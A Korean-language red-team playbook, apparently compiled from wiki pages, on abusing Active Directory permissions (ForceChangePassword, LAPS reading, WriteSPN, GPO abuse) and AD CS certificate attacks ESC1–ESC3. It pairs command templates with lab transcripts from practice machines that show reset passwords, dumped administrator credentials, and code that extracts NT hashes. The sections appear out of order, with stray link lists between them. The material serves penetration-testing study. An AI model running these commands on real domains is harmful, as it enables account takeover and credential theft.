# oorend 사용자에 Service User OU에대한 GenericAll 권한 위임                                                                                                                                        
└─# python3 bloodyAD.py -u oorend -p '1GR8t@$$4u' -d rebound.htb --host 10.10.11.231 add genericAll 'OU=SERVICE USERS,DC=REBOUND,DC=HTB' oorend
[+] oorend has now GenericAll on OU=SERVICE USERS,DC=REBOUND,DC=HTB

실습에서 따로 oorend 사용자에게 Service User OU에 대해서 GenericAll 권한을 준 이유는 상속 과정에서 그룹의 권한 중 OU에 대한 GenericAll 권한이 위임되지 않을 수도 있기 때문입니다.

References

ForceChangePassword

ForceChangePassword는 Active Directory에서 사용되는 권한입니다. Active Directory에서 사용되는 권한인 ForceChangePassword는 Alice 사용자가 Bob 사용자에 대한 권한이 있을 시 Bob 사용자의 패스워드를 임의로 변경해버릴 수 있는 권한입니다.

침투자 혹은 공격자의 입장에서 프롬프트 환경을 사용하지 못한다고 하더라도 msrpc, SMB 등의 프로토콜이 실행중이라면 원격 명령 실행을 통해 변경할 수 있습니다. 현재 실습 환경에서는 wiki 사용자가 pentesting 사용자에 대한 ForceChangePassword 권한이 있기 때문에 원격으로 pentesting 사용자의 패스워드를 변경할 수 있습니다.

msrpc가 실행중인 서버의 경우 setuserinfo2를 통해서 변경 권한이 있는 유저에 한해서 유저 정보 변경이 가능합니다. RPC 원격 접속을 변경 권한이 존재하는 support 계정으로 접속했기 때문에 audit2020 계정에 한해서 setuserinfo2 모듈 사용을 통한 정보 변경이 가능합니다. setuserinfo2 모듈에서 패스워드 변경은 23번이며 기본 포맷은 다음과 같습니다.

명령 실행 이후엔 패스워드가 변경되어 기존의 password123@에서 password321!로 변경된 뒤 로그인이 성공합니다.

SMB를 통한 패스워드 원격 변경은 impacket-changepasswd 모듈을 사용합니다. 기본적인 포매팅은 다음과 같습니다.

명령을 입력하면 기존의 패스워드는 password123@로 로그인했지만 실행 이후엔 password123!로 로그인이 되는 것을 확인할 수 있습니다.

References

ReadLAPSPassword

LAPS는Localized Administrator Password Solution로 Windows Server Active Directory에 가입된 장치에서 로컬 관리자 계정 암호를 자동으로 관리하고 백업하는 서비스입니다. 주제에서 확인하듯 LAPS는 Windows 로컬 관리자 계정의 암호를 관리하는 서비스입니다. 이때 관리자 암호는 AD의 컴퓨터 객체 속성 중 ms-Mcs-AdmPwd에 저장되고 우리가 이 권한이 있을 때는 파워쉘 명령을 통해서 쉽게 확인이 가능합니다.

만약 LAPS로부터 도메인 컨트롤러 머신의 관리자 패스워드를 알게 되었을 때 이곳에서 LAPS를 통해 획득한 Administrator 계정의 패스워드로는 도메인 관리자 계정으로 로그인을 성공할 가능성도 있습니다. 그 이유는 도메인의 관리자 계정은 컨트롤러의 로컬 관리자 계정으로 사용되기 때문입니다.

Practice

획득한 쉘인 svc_deploy 사용자는 LAPS_Readers 그룹에 소속되어 있습니다. 현재 쉘에서 LAPS에서 관리하는 모든 관리자 계정에 대한 ms-Mcs-AdmPwd 값을 가져오는 명령은 다음과 같습니다.

이로써 로컬 관리자의 패스워드를 탈취했습니다.

만약 명령 프롬포트 환경을 갖지 못했다면 cme에서 제공하는 laps 모듈을 사용하여 LAPS에 저장된 패스워드 목록을 확인할 수 있습니다.

References

Baby2: VulnLabMedium
setuserinfo2 <Target> 23 <New PASS>
┌──(root㉿kali)-[~]
└─# rpcclient -U wiki 10.0.2.10                                                                  
Password for [WORKGROUP\wiki]:
rpcclient $> setuserinfo2 pentesting 23 password321!
rpcclient $> exit
                                                                                                                                                                                                                                           
┌──(root㉿kali)-[~]
└─# nxc smb 10.0.2.10 -u pentesting -p password321!
SMB         10.0.2.10       445    DC01             [*] Windows Server 2016 Datacenter Evaluation 14393 x64 (name:DC01) (domain:offsec.local) (signing:True) (SMBv1:True)
SMB         10.0.2.10       445    DC01             [+] offsec.local\pentesting:password321! 
impacket-changepasswd -altuser <USER> -altpass <PASS> <Domain>/<Target>@<DC-IP> -reset
┌──(root㉿kali)-[~]
└─# impacket-changepasswd -altuser pentesting -altpass password123@ offsec/pentesting@10.0.2.10 -reset
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

New password: 
Retype new password: 
[*] Setting the password of offsec\pentesting as offsec\pentesting
[*] Connecting to DCE/RPC as offsec\pentesting
[*] Password was changed successfully.
[!] User no longer has valid AES keys for Kerberos, until they change their password again.
                                                                                                                                                                                                                                           
┌──(root㉿kali)-[~]
└─# nxc smb 10.0.2.10 -u pentesting -p password123!                                                   
SMB         10.0.2.10       445    DC01             [*] Windows Server 2016 Datacenter Evaluation 14393 x64 (name:DC01) (domain:offsec.local) (signing:True) (SMBv1:True)
SMB         10.0.2.10       445    DC01             [+] offsec.local\pentesting:password123! 
bloodyAD --host <Target IP> -d <Domain> -u <USER> -p <PASS> set password <Target USER> <Target New PASS>
*Evil-WinRM* PS C:\windows\temp> net groups LAPS_Readers
Group name     LAPS_Readers
Comment

Members

-------------------------------------------------------------------------------
svc_deploy
The command completed successfully.
*Evil-WinRM* PS C:\windows\temp> Get-ADComputer -Filter * -Property 'ms-Mcs-AdmPwd'
                                            
                                            
DistinguishedName : CN=DC01,OU=Domain Controllers,DC=timelapse,DC=htb                   
DNSHostName       : dc01.timelapse.htb      
Enabled           : True           
ms-Mcs-AdmPwd     : n((r2Ep}U@3&pw/v;1G%4SFr 
Name              : DC01              
ObjectClass       : computer
ObjectGUID        : 6e10b102-6936-41aa-bb98-bed624c9b98f
SamAccountName    : DC01$
SID               : S-1-5-21-671920749-559770252-3318990721-1000
UserPrincipalName :
┌──(root㉿kali)-[~/Pentest/Machine]
└─# crackmapexec ldap 10.10.11.152 -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -M laps
SMB         10.10.11.152    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
LDAP        10.10.11.152    389    DC01             [+] timelapse.htb\svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV 
LAPS        10.10.11.152    389    DC01             [*] Getting LAPS Passwords
LAPS        10.10.11.152    389    DC01             Computer: DC01$                Password: n((r2Ep}U@3&pw/v;1G%4SFr
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Recon/PowerView.ps1
WriteOwner | 레드팀 플레이북

AddMembers

AddMembers 권한은 그룹에 멤버를 추가할 수 있는 권한입니다. AddSelf 권한과의 차이점은 AddSelf는 권한 소유자를 그룹에 스스로 추가하는 것 뿐이지만 AddMembers 권한은 그룹 자체에 대한 멤버 추가 권한이기 때문에 권한 소유자 외 다른 사용자도 그룹에 추가시킬 수 있습니다.

# 명령어 양식
bloodyAD --host <DC-IP> -d <Domain> -u <USER> -p <PASS> add groupMember <Group> <Target>
# 개체 정보 변수화
$pwd = ConvertTo-SecureString <PASS> -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential(<DOMAIN\USER>, $pwd)

# 그룹에 사용자 추가
Add-DomainGroupMember -Credential $creds -Identity <Group> -Members <USER> -Verbose

# 그룹 사용자 조회
Get-DomainGroupMember -Identity <Group> | Select <USER>

# 그룹에 사용자 삭제
Remove-DomainGroupMember -Credential $Cred

References

WriteSPN

WriteSPN 권한이 있는 개체는 공격자가 SPN을 등록할 수 있습니다. 도메인에 SPN을 등록하면 잠재적으로 Kerberoasting공격에 취약해지기며 이러한 방식을 사용해서 NT Hash 크래킹을 시도할 수 있습니다.

# 명령어 양식
python3 targetedKerberoast.py -v -d <Domain> -u <USER> -p <PASS> --request-user <Target> --only-abuse
# 권한이 있는 사용자 개체 정보 변수화
$SecPassword = ConvertTo-SecureString <PASS> -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential(<Domain>/<USER>, $SecPassword)

# 도메인 객체 정보 저장
Set-DomainObject -Credential $Cred -Identity <Target> -SET @{serviceprincipalname='nonexistent/HTTP'}

# SPN 등록
Get-DomainSPNTicket -Credential $Cred <Target> | fl

# 공격 후 SPN 정리
Set-DomainObject -Credential $Cred -Identity <Target> -Clear <SPN>

References

GenericAll

개체에 대한 모든 제어가 가능하며 사실상 개체로 로그인 한 것과 동일한 수준의 권한입니다. 개체의 유형이 어떤 것이냐에 따라 악용할 수 있는 공격이 다르며 아래는 개체의 유형 별 공격을 간단하게 정리한 테이블입니다.

분류
권한 악용

User

Computer

Group

OU

OU 하위 객체 전체 장악

Template

GPO

References

GitHub - micahvandeusen/gMSADumper: Lists who can read any gMSA password blobs and parses them if the current user has access.GitHub
GitHub - micahvandeusen/gMSADumper: Lists who can read any gMSA password blobs and parses them if the current user has access.GitHub
Attacking Group Managed Service Accounts (gMSA)Medium
AD-DACL | 레드팀 플레이북

, ,

,

Targeted Kerberoast
Shadow Credentials
ForceChangePassword
Shadow Credentials
ReadLAPSPassword
AddMembers
ESC4
WriteGPO
[K8s] 쿠버네티스란 무엇인가?
What is DACL (Discretionary Access Control List)?
AddSelfBloodHound
ForceChangePasswordThe Hacker Recipes

GenericWrite

이 권한은 대상 개체의 모든 비보호 속성에 쓰기 권한이 부여됩니다. 어떤 개체에 할당된 권한이냐에 따라서 악용할 수 있는 방법이 다르며 아래는 간단한 매핑 테이블입니다.

분류
권한 악용

User

Group

Computer

Template

Domain

References

Windows LAPS overviewMicrosoftLearn

,

Shadow Credentials
Targeted Kerberoast
AddMembers
Shadow Credentials
ESC4
DCSync
Logo
Microsoft LAPS: What is it and why you should be using itInfoSec Governance -
Configure Windows LAPS step by stepALI TAJRAN

WriteGPO

WriteGPO는 공식적으로 존재하는 DACL이나 명칭은 아닙니다. 장악한 계정이 GPO에 대한 GenericAll과 같은 권한이 있어서 수정이 가능할 때 악용 가능한 시나리오 중 하나이지만, 성질이 다른 것과 상이하기 때문에 별도의 설명을 위해서 임의로 만든 이름입니다.

  • GPO에 대한 쓰기 권한

  • GPO ID

  • 권한이 있는 사용자의 계정 정보

조건이 모두 만족된다면 다음 명령어를 통해서 권한이 있는 사용자를 도메인 관리자 그룹에 추가할 수 있습니다.

# 명령어 양식
pygpoabuse.py <Domain>/<USER>:<PASS> -gpo-id <GPO ID> -dc-ip <DC-IP> -command 'net localgroup Administrators /add <USER>' -f

# 실습
└─# python3 pygpoabuse.py baby2.vl/gpoadm:Password123! -gpo-id 31B2F340-016D-11D2-945F-00C04FB984F9 -dc-ip baby2.vl -command 'net localgroup Administrators /add gpoadm' -f
SUCCESS:root:ScheduledTask TASK_291c1c8d created!
[+] ScheduledTask TASK_291c1c8d created!

# 결과 확인
*Evil-WinRM* PS C:\> net localgroup Administrators
Alias name     Administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
gpoadm

References

도메인의 GPO를 수정할 권한이 있다면, 특정 유저를 도메인 관리자로 임명하는 등 정책 변경을 통한 도메인 장악이 가능합니다. GPO 정책 변경을 위해서 사용할 수 있습니다. 변경에 필요한 몇가지 조건은 다음과 같습니다.

pygpoabuse.py
Baby2: VulnLabMedium
AddMember | The Hacker Recipes
Abusing Active Directory ACLs/ACEsHackTricks
WriteSPNBloodHound
GenericWriteBloodHound

AllExtendedRights

AllExtendedRights 권한은 도메인 객체에 대한 확장 권한으로 객체의 종류에 따라서 사용할 수 있는 공격이 달라집니다.

도메인 객체
악용

사용자

컴퓨터

도메인

References

ForceChangePassword
AddAllowedToAct
DCSync

ESC2

ESC2는 다음과 같은 조건을 만족할 때 발생하는 ADCS 취약점입니다.

  1. 인증서 템플릿이 'Any Purpose'로 설정되어 있거나, EKU가 지정되지 않은 경우

  2. 템플릿이 인증서 서명 요청(CSR) 시 SAN을 지정하도록 허용하는 경우

  3. 낮은 권한의 사용자가 해당 템플릿을 사용하여 인증서를 등록할 수 있도록 설정된 경우

속성
값

Requires Manager Approval

False

Enrollment Rights

하위 수준 도메인 사용자 또는 모든 사용자

Authorized Signatures Required

0

Any Purpose / EKU

True / False

Any Purpose가 설정되어 있는 경우, 템플릿을 통해 생성된 인증서를 여러 용도로 사용할 수 있으며, EKU 지정되지 않은 경우 공격자는 악의적인 용도로 인증서를 사용할 수 있습니다. 이 두가지 속성은 서로 상반되는 개념이기 때문에 Any Purpose가 True 이거나, EKU가 False인 경우 조건을 만족합니다.

Abuse

ESC2는 ESC1과 매우 유사한 점에서, 취약점을 악용하는 명령어 또한 동일합니다.

# 취약한 템플릿 검색
certipy-ad find -u <USER> -p <PASS> -dc-ip <dc-ip> -vulnerable -stdout -enabled

# 취약한 템플릿을 이용하여 타겟 유저 인증서 발급
certipy-ad req -u <USER> -p <PASS> -ca <CA> -target <DC FQDN> -template <Template> -upn Administrator -dc-ip <dc-ip>

# 인증서를 통한 TGT 발급
certipy-ad auth -pfx <PFX File> -domain <Domain> -dc-ip <dc-ip>

References

ESC1

ESC1 공격은 PKI 인증서 양식 중 몇가지 조건이 갖춰지면 일반 도메인 유저 권한에서 도메인 관리자 권한을 탈취할 수 있는 공격입니다. 요구되는 몇가지 조건은 다음과 같습니다.

속성
값

Enrollee Supplies Subject

True

Requires Manager Approval

False

Authorized Signatures Required

0

Enrollment Rights

하위 수준 도메인 사용자 또는 모든 사용자

속성이 가진 의미에 대해서 자세한 설명은 Attribute Description을 참조합니다. 위와 같은 속성값을 악용한 ESC1 공격 흐름은 최종적으로 다음과 같습니다.

  1. 인증서 주체를 Administrator 로 변조하여 인증서 생성 요청

  2. Administrator의 인증서가 포함된 pfx 파일 획득

  3. pfx 파일로부터 Administrator의 TGT 발급

  4. PAC로부터 NT Hash 덤핑

Abuse

crackmapexec 혹은 certipy-ad를 사용해서 취약한 인증서 정보와 인증 서버 정보를 얻을 수 있습니다.

crackmapexec ldap <DC-IP> -u <USER> -p <PASS> -d <Domain> -M adcs
certipy-ad find -u <USER> -p <PASS> -dc-ip <DC-IP> -target <IP> -vulnerable -stdout -enabled

두가지 모두 인증 서버와 인증서 정보를 찾을 수 있지만

certipy-ad의 경우 -vulnerable 플래그를 통해서 취약점을 찾을 수 있습니다.

서버는 ESC1에 취약한 환경으로 출력된 텍스트 문서를 읽으면 다음과 같이 나옵니다.

Certificate Templates
    Template Name                       : UserAuthentication
    Display Name                        : UserAuthentication
    Certificate Authorities             : sequel-DC-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : PublishToDs
                                          IncludeSymmetricAlgorithms
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Client Authentication
                                          Secure Email
                                          Encrypting File System
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 10 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : SEQUEL.HTB\Domain Admins

출력된 템플릿 정보에서는 ESC1 익스플로잇에 요구되는 4가지 조건이 모두 만족됩니다.

조건이 만족될 경우 certipy-ad를 통해서 공격이 가능합니다.

# 템플릿을 통한 Administrator pfx 파일 요청
certipy-ad req -u <USER> -p <PASS> -ca <CA> -target <DC FQDN> -template <Template> -upn Administrator -dc-ip <dc-ip>

# 발급된 Administrator pfx 파일을 통한 NT Hash 덤핑
certipy-ad auth -pfx <PFX File> -domain <Domain> -dc-ip <dc-ip>
# 취약한 템플릿 열거
beacon> execute-assembly C:\Tools\Certify.exe find /vulnerable

# 취약한 템플릿을 통한 Administrator 가장
beacon> execute-assembly C:\Tools\Certify.exe request /ca:<ca> /template:<Template> /altname:Administrator

# 개인키와 인증서를 복사하여 리눅스 환경에서 cert.pem 파일로 저장 후 openssl을 통해 pfx로 변환
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Enter Export Password: password123!
Verifying - Enter Export Password: password123!

# Rubeus에서 사용 가능한 Base64 포맷으로 변경
cat cert.pfx | base64 -w 0

# 인증서를 통한 TGT 발급
beacon> execute-assembly C:\Tools\Rubeus.exe asktgt /user:Administrator /certificate:<Base64 Encoded cert> /password:password123! /nowrap

References

21MB
Certified_Pre-Owned ko.pdf
pdf

AD CS

Active Directory에서는 크게 3가지의 인증 방식을 사용합니다.

  1. Kerberos

  2. NTLM

  3. ADCS

ADCS는 AD에서 Microsoft의 인증 기관(CA) 역할을 하는 서버입니다. 이는 공개키 암호화, 디지털 인증서 발급 및 관리, 사용자 인증 등의 기능을 제공합니다. ADCS에서 비롯되는 여러가지 취약점들은 모두 관리자가 ADCS의 속성 값을 잘못 설정할 경우 발생되는 취약점이므로 이 취약점들에 대해서 본격적으로 배우기 전, 어떤 속성들이 어떤 의미를 갖고 어떻게 설정할 수 있는지에 대해서 GUI와 설명으로 배울 필요가 있습니다.

다만 어떤 속성이 어떠한 성질을 가진다는 것은 본 페이지에서 다루며 취약점에 대한 개별적 페이지에서는 어떤 속성의 어떤 값이 만족할 때 취약점이 발생한다고 다루기 때문에 별도로 보안조치 사항에 대해서는 다루지 않습니다.

먼저 침투한 서버에 CA 서버가 존재하는지(ADCS를 사용하는지) 탐색은 아래의 파워쉘 명령어로 할 수 있습니다.

PowerShell # net localgroup "Cert Publishers"

Attribute Description

Enrollee Supplies Subject

인증서 요청자가 인증서의 주체를 직접 선택할 수 있도록 하는 설정입니다. 예를 들어서 wiki라는 사용자가 인증서 생성을 요청할 때, 자동으로 해당 인증서의 주체가 wiki가 되어야 하지만 이 설정이 True로 되어있으면 wiki 사용자가 pentesting이라는 다른 사용자를 주체로 하는 인증서 생성 요청이 가능합니다. 이러한 매커니즘을 악용하여 공격자는 본인이 소속된 낮은 권한의 일반 사용자로 도메인 관리자를 주체로 하는 인증서 생성 요청이 가능합니다.

ADCS 설정에서는 Supply in the request 설정이 기본적으로 비활성화 되어있고 기존의 설정에서 이 설정으로 변경하는 것이 허용되지 않습니다. 하지만 템플릿을 새로 생성하거나 기존의 템플릿을 복제할 경우 사진과 같이 설정을 변경할 수 있으며, 변경 시 보안 경고창이 나타납니다.

Requires Manager Approval

인증서 요청에 대해 관리자의 승인을 요구하는 기능입니다. 이 옵션이 False로 되어있으면 관리자의 승인이나 검토가 없이도 인증서 발급이 될 수 있어 Enrollee Supplies Subject 속성의 True 값을 이용하여 공격자가 Administrator 계정에 대한 인증서를 요청할 때, 그 인증서에 대한 검토 및 승인 과정을 건너뛰어 승인시킬 수 있습니다. 이 옵션은 기본적으로 비활성 상태이기 때문에 따로 설정할 필요는 없습니다. 하지만 옵션을 활성화 했다가 비활성화로 변경할 경우 보안 경고창이 출력됩니다.

Authorized Signatures Required

인증서 요청이 최종 승인되기 전에 필요한 서명자를 요구하는 속성입니다. 이 속성이 0으로 설정되어 있으면 비활성화 된 것으로 최종 승인 시 요구되는 서명자가 없기 때문에 앞서 언급된 설정들과 연계하면 Administrator과 같은 높은 권한의 주체에 대한 인증서 발급이 가능합니다. 이 설정 역시 기본적으로 비활성 상태입니다.

Enrollment Rights

인증서 템플릿에 대한 등록 권한을 제어하는 속성으로 특정 사용자나 그룹이 해당 템플릿을 사용하여 인증서를 요청할 수 있는지를 결정합니다. 템플릿 제어에 대해서 허가된 사용자가 도메인 전체 사용자 혹은 공격자가 권한 획득에 성공한 사용자라면 높은 권한의 인증서를 요청할 수 있습니다. 즉 해당 설정이 존재해야지 ESC1 공격의 첫 발판인 인증서 생성 요청이 가능합니다. 위 사진과 같이 Domain Users를 그룹에 추가해주고 Request Certificates 항목을 Allow 할 경우 도메인 유저도 인증서 생성 요청이 가능하게 됩니다.

Any Purpose

Any Purpose 속성이 설정된 템플릿을 통해 생성된 인증서는 여러 용도로 활용할 수 있게 됩니다. 예를 들어 일반적인 인증서의 목적은 다음과 같이 특정 목적을 가지지만 이속성을 가진 인증서는 특정 목적에 제한되지 않고 여러 용도로 사용이 됩니다.

속성
목적

Digital Signature

인증서가 디지털 서명에 사용될 수 있도록 설정

Non-Repudiation

인증서가 부인 방지에 사용될 수 있도록 설정

Key Encipherment

인증서가 키 암호화에 사용될 수 있도록 설정

Data Encipherment

인증서가 데이터 암호화에 사용될 수 있도록 설정

Certificate Signing

인증서가 다른 인증서를 서명하는 데 사용될 수 있도록 설정

Application Policies

이 속성은 인증서가 발급된 목적을 나타내는 용도로 사용됩니다. 만약 이 속성이 템플릿에 적용되어 있을 경우, 해당 템플릿을 통해 생성한 인증서의 사용 목적을 정하는데 사용됩니다. 다음은 주로 사용되는 속성값과 OID입니다.

속성값
OID
설명

Server Authentication

1.3.6.1.5.5.7.3.1

서버가 클라이언트에게 자신의 신원을 인증할 때 사용

Client Authentication

1.3.6.1.5.5.7.3.2

클라이언트가 서버와 연결을 수립할 때 사용

Certificate Request Agent

1.3.6.1.4.1.311.20.2.3

인증서 요청을 대리할 수 있는 에이전트 인증서에 사용

ManageCA

ManagaCA 속성에 대해 Allow가 되어있는 사용자, 그룹은 CA의 사용자 권한을 관리할 수 있습니다. 이 권한을 통해 다른 사용자 혹은 본인에게 다른 속성도 할당할 수 있습니다.

Issue and Manage Certificates

이 권한을 가진 사용자/그룹은 다음의 활동 등을 할 수 있습니다.

  1. 인증서 요청 승인 및 거부

  2. 인증서 발급

  3. 인증서 템플릿 관리 및 수정

  4. 인증서 철회

  5. CA 서버에서 인증서 관련 설정 및 관리

이 권한이 할당된 사용자 계정으로는 서버에서 Requires Manager Approval 속성을 설정했을 때 관리자의 승인을 받아야 하는 인증서 목록을 확인하고 승인/거부를 할 수 있습니다.

EKU

Extended Key Usage는 인증서의 확장 키 사용 필드로, 해당 인증서의 구체적 용도를 지정합니다. 이것의 목적은 사전에 정의한 인증서의 구체적 용도에 맞게 인증서를 사용하여 악의적인 목적의 인증서 발급/사용을 제한하는 것에 있습니다. Any Purpose와는 정반대 개념의 속성입니다.

How to get NT Hash

TGT 데이터는 KDC의 비밀키로 암호화가 되어있고, 이 메시지는 주체의 NT Hash로 암호화가 되어있는데 Administrator 주체로 TGT 발급은 이해가 쉽지만 TGT로부터 주체의 NT Hash를 가져오는 과정은 이해하기가 쉽지 않습니다. 본 페이지에서는 certipy-ad의 auth와 관련된 스크립트를 통해 어떻게 NT Hash를 덤핑할 수 있는지 분석해봅니다.

1. AS-REQ & AS-REP

def kerberos_authentication(
    self,
    username: str = None,
    domain: str = None,
    is_key_credential: bool = False,
    id_type: str = None,
    identification: str = None,
    object_sid: str = None,
    upn: str = None,
) -> Union[str, bool]:
    as_req, diffie = build_pkinit_as_req(username, domain, self.key, self.cert)
    logging.info("Trying to get TGT...")
    tgt = sendReceive(as_req, domain, self.target.target_ip)
    logging.info("Got TGT")
    as_rep = decoder.decode(tgt, asn1Spec=AS_REP())[0]

certipy-ad auth에서는 입력된 정보들을 토대로 KDC로 전송할 AS-REQ를 생성합니다.

2. Exchange Public Key

ci = cms.ContentInfo.load(pk_as_rep["dhSignedData"]).native
sd = ci["content"]
key_info = sd["encap_content_info"]

auth_data = KDCDHKeyInfo.load(key_info["content"]).native
pub_key = int(
    "".join(["1"] + [str(x) for x in auth_data["subjectPublicKey"]]), 2
)
pub_key = int.from_bytes(
    core.BitString(auth_data["subjectPublicKey"]).dump()[7:],
    "big",
    signed=False,
)
shared_key = diffie.exchange(pub_key)

수신된 REP로부터 디피헬만 알고리즘으로 서명된 데이터 필드를 가져옵니다. 해당 데이터의 내용에서 encap_content_info는 공개키에 관련된 정보가 있습니다. 파싱한 공개키를 정수 형태로 변환합니다. 공개키를 가지고 서버와 키 교환을 통해 비밀키를 계산할 수 있습니다.

3. Dump Secret Key

server_nonce = pk_as_rep["serverDHNonce"]
full_key = shared_key + diffie.dh_nonce + server_nonce

etype = as_rep["enc-part"]["etype"]
cipher = _enctype_table[etype]
if etype == Enctype.AES256:
    t_key = truncate_key(full_key, 32)
elif etype == Enctype.AES128:
    t_key = truncate_key(full_key, 16)
else:
    logging.error("Unexpected encryption type in AS_REP")
    return False

key = Key(cipher.enctype, t_key)
enc_data = as_rep["enc-part"]["cipher"]
dec_data = cipher.decrypt(key, 3, enc_data)
enc_as_rep_part = decoder.decode(dec_data, asn1Spec=EncASRepPart())[0]

cipher = _enctype_table[int(enc_as_rep_part["key"]["keytype"])]
session_key = Key(cipher.enctype, bytes(enc_as_rep_part["key"]["keyvalue"]))

서버 응답으로부터 넌스값을 가져오고 본인의 넌스값을 통해 full_key를 생성합니다. AS_REP을 통해 암호화 알고리즘을 파악하고 각 알고리즘에 맞게 키 바이트 단위를 지정합니다. Kerberos 인증에서 TGT를 발급할 때, AS-REP에는 TGT 외에도 다른 정보도 함께 전송됩니다.

TGT 정보 자체는 krbtgt의 NT Hash로 암호화가 되어있지만, 같이 오는 정보는 발급 주체의 NT Hash로 암호화가 되어 있습니다. 그런데 현재는 디피 헬만 알고리즘을 통해 생성한 공개키 알고리즘을 사용하므로 AS-REP의 enc-part의 etype으로부터 가져온 알고리즘에 맞게 자른 key(비밀키)로 복호화가 가능합니다.

4. Get NT Hash

일반적인 ST 발급 매커니즘에선 ST가 Service Admin의 NT Hash로 암호화 되지만 S4U2self를 통해 발급된 ST는 사용자의 세션 키로 암호화가 됩니다. S4U는 Alice가 Alice에 대한 요청도 가능하기 때문에, 앞선 과정인 디피 헬만 키교환 알고리즘을 통해 생성한 비밀키로 ST를 복호화 할 수 있습니다.

ST 정보 속에 포함되는 PAC의 구조 속에는 PAC_CREDENTIAL_INFO 안에 NTLM_SUPPLEMENTAL_CREDENTIAL 이라는 데이터로 NT Hash에 대한 정보가 있습니다. 그래서 수신된 데이터로부터 먼저 PAC_CREDENTIAL_INFO 정보를 파싱합니다.

cred_info = PAC_CREDENTIAL_INFO(data)

cerd_info에는 파싱한 데이터가 담겨있는데, PAC_CREDENTIAL_INFO 데이터의 구조체는 다음과 같이 구성되어 있습니다.

암호화 알고리즘을 알아내기 위하여 EncryptionType와 암호화된 Credential 정보를 직렬화한 데이터인 SerializedData를 파싱합니다.

new_cipher = _enctype_table[cred_info["EncryptionType"]]
out = new_cipher.decrypt(special_key, 16, cred_info["SerializedData"])
type1 = TypeSerialization1(out)
new_data = out[len(type1) + 4 :]
pcc = PAC_CREDENTIAL_DATA(new_data)

구조체로 변환한 데이터는 PAC_CREDENTIAL_DATA 정보로 이 데이터 구조체 안에는 사용자의 자격증명 정보를 Credentials로 저장합니다. 변수로 저장한 pcc로부터 NT Hash 정보를 추출할 수 있습니다.

for cred in pcc["Credentials"]:
    cred_structs = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(cred["Credentials"]))
    if any(cred_structs["LmPassword"]):
        lm_hash = cred_structs["LmPassword"].hex()
    nt_hash = cred_structs["NtPassword"].hex()
    break
break

References

21MB
Certified_Pre-Owned ko.pdf
pdf

ESC3

ADCS에서는 Enrollment Agents라고 불리는 속성이 존재합니다. 이 속성을 통해서 다른 사용자를 대신하여 해당 사용자의 인증서를 등록할 수 있습니다. 이것이 필요한 이유는 자동화된 서비스 등에 따른 이유입니다. 스마트 카드를 등록하려는 사람이 관리자에게 본인의 인적사항을 작성하면 관리자가 사용자를 대신하여 인증 정보를 프로그램에 등록하는 것과 비슷합니다. 먼저 이 공격이 성공하기 위해서는 2개의 템플릿이 필요하며 템플릿에는 각각 다음과 같은 속성이 설정되어 있어야 합니다.

Template 1

다른 속성은 ESC1에서 요구하는 것과 비슷하지만 추가적으로 요구되는 사항은 Extended Key Usage 혹은 Key Usage 속성에 Certificate Request Agent가 존재해야 합니다.

속성
값

Requires Manager Approval

False

Authorized Signatures Required

0

Enrollment Rights

하위 수준 도메인 사용자 또는 모든 사용자

Extended Key Usage(Ver. 1)

Certificate Request Agent / Any Purpose / Null

Extended Key Usage(Ver. 2)

Certificate Request Agent / msPKI-RA-Application-Policies

Template 2

낮은 권한의 사용자가 Enrollment Agents 속성을통해 다른 사용자를 대신해 인증서를 요청할 수 있도록 허용하며 도메인 인증을 허용하는 EKU를 정의합니다.

속성
값

Requires Manager Approval

False

Application Policies

Certificate Request Agent

Extended Key Usage

Client/Server Authentication

Enrollment Rights

하위 수준 도메인 사용자 또는 모든 사용자

속성이 가진 의미에 대해서 자세한 설명은 Attribute Description을 참조합니다.

Abuse

설명만 들었을 땐 조건이 매우 복잡해보이지만, 악용에 사용될 Template2는 내장 템플릿인 User로 사용이 가능합니다. ESC1과 비슷한 환경의 템플릿에서 EKU가 Certificate Request Agent만 만족된다면 가능한 취약점입니다.

공격자는 EKU가 Certificate Request Agent로 설정된 취약한 템플릿을 이용하여 장악한 도메인 사용자 계정의 인증서를 발급받습니다. 이때 발급된 인증서는 다른 사용자 계정으로 인증서를 요청할 수 있도록 허용하는 속성입니다. 발급된 인증서를 증거로 하여, Client Authentication EKU를 포함한 템플릿에 타겟 사용자의 인증서 발급 요청을 합니다. CA에 내장되어 있는 User 템플릿의 경우 악용에 필요한 두번째 템플릿의 모든 조건을 만족합니다.

Practice

앞서 말했던 것과 같이, ESC3 공격은 총 2번의 템플릿 요청 과정이 요구됩니다. Certificate Request Agent가 설정된 템플릿을 통해 인증서를 발급한 뒤, 해당 인증서를 통해 CA의 내장 템플릿 User을 이용하여 다른 사용자의 인증서를 발급받습니다.

# 취약한 템플릿 검색
certipy-ad find -u <USER> -p <PASS> -dc-ip <dc-ip> -vulnerable -stdout -enabled

# 취약한 템플릿을 이용하여 사용자 가장 권한 인증서 발급
certipy-ad req -u <USER> -p <PASS> -dc-ip <dc-ip> -ca <CA> -template <VulnTemplate>

# 발급된 증명서를 증거로 포함하여 타겟 사용자를 가장한 인증서 발급
certipy-ad req -u <USER> -p <PASS> -dc-ip 10.129.249.117 -template 'User' -on-behalf-of <Domain\TargetUser> -pfx <PFX File>

# 발급된 타겟 사용자의 PFX 파일을 통한 TGT 발급
certipy-ad auth -pfx <PFX File> -domain <Domain> -dc-ip <dc-ip>

References

